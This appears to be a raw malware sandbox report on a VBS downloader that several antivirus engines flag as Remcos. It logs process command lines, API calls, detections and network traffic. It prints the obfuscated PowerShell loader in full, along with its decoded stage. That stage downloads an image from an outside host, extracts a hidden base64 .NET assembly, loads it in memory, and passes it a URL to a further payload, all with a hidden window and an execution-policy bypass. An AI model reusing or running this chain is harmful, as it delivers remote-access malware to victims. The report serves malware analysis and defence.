U░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2148
thread_handle: 0x000002f0
process_identifier: 2144
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBp░░░Gs░░░bwBs░░░G8░░░dwBn░░░HU░░░dwBr░░░G8░░░egBr░░░GY░░░ZwBq░░░Gs░░░a░░░Bm░░░Gs░░░a░░░Bm░░░Gs░░░ZwBo░░░Go░░░ZgBi░░░GQ░░░ag░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f8
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBp░░░Gs░░░bwBs░░░G8░░░dwBn░░░HU░░░dwBr░░░G8░░░egBr░░░GY░░░ZwBq░░░Gs░░░a░░░Bm░░░Gs░░░a░░░Bm░░░Gs░░░ZwBo░░░Go░░░ZgBi░░░GQ░░░ag░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
filepath: powershell
1 1 0

CreateProcessInternalW

thread_identifier: 2276
thread_handle: 0x0000044c
process_identifier: 2272
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.ikolowguwkozkfgjkhfkhfkghjfbdj/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000450
1 1 0
Symantec Scr.Malcode!gen102
Avast VBS:Obfuscated-JQ [Cryp]
Kaspersky HEUR:Trojan.Script.Generic
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
Ikarus Trojan-Downloader.VBS.Remcos
Google Detected
Rising Downloader.Agent/VBS!1.EB34 (CLASSIC)
AVG VBS:Obfuscated-JQ [Cryp]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
Data received [
Data received We Ž±š­¬ú÷ù±¬PB¡„Þb¢DOWNGRD 2Ç%öäšßFø*1äV‘ðÉh¼ ÿqDæZKՏÏü´À ÿ 
Data received P
Data received ‘
Data received Aušú¾Î çzíÚBçw„÷ËC&Tõ‘ÊÓ5ÌeB²O–»îo­C¸CØÝÍréŸåU$.ñÇÀ'’(rUcÊuF0D çMžßفpµµ_UN=ûý¡Až å;ªÞ¡—}.>û¤Ç t–@¬XPŸJ—åÖ¹ŸÁî;©9|‰ óÕyx´kN
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ÷¶ÙzbúŸ´ôo€ír)ØìŽÑ ³š¶ö¤‹ÞýmÞÍ«éawÚÅÑuÛIwìŸ
Data sent yue Žq æ¾ΰh’ƒ¡:îP|ûÚ!¿Âö1~ë`Ʉ/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA[Þ[¤ô6ßB¡Ëˆÿ 2žv‘4mÐ0ª‘ à¹P9‚e ZÜ,l+3q£Òƒ»Ž™!R îü¤@cª¾50·œ¿ £%˜}Mãˆ+"Ž¶ºÞvm¢՘ ×xT¤õZÇF^»ý 6'Ôáƒé¬X;
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Time & API Arguments Status Return Repeated

send

buffer: yue Žq æ¾ΰh’ƒ¡:îP|ûÚ!¿Âö1~ë`Ʉ/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1448
sent: 126
1 126 0

send

buffer: FBA[Þ[¤ô6ßB¡Ëˆÿ 2žv‘4mÐ0ª‘ à¹P9‚e ZÜ,l+3q£Òƒ»Ž™!R îü¤@cª¾50·œ¿ £%˜}Mãˆ+"Ž¶ºÞvm¢՘ ×xT¤õZÇF^»ý 6'Ôáƒé¬X;
socket: 1448
sent: 134
1 134 0

WSASend

buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2024
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.ikolowguwkozkfgjkhfkhfkghjfbdj/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░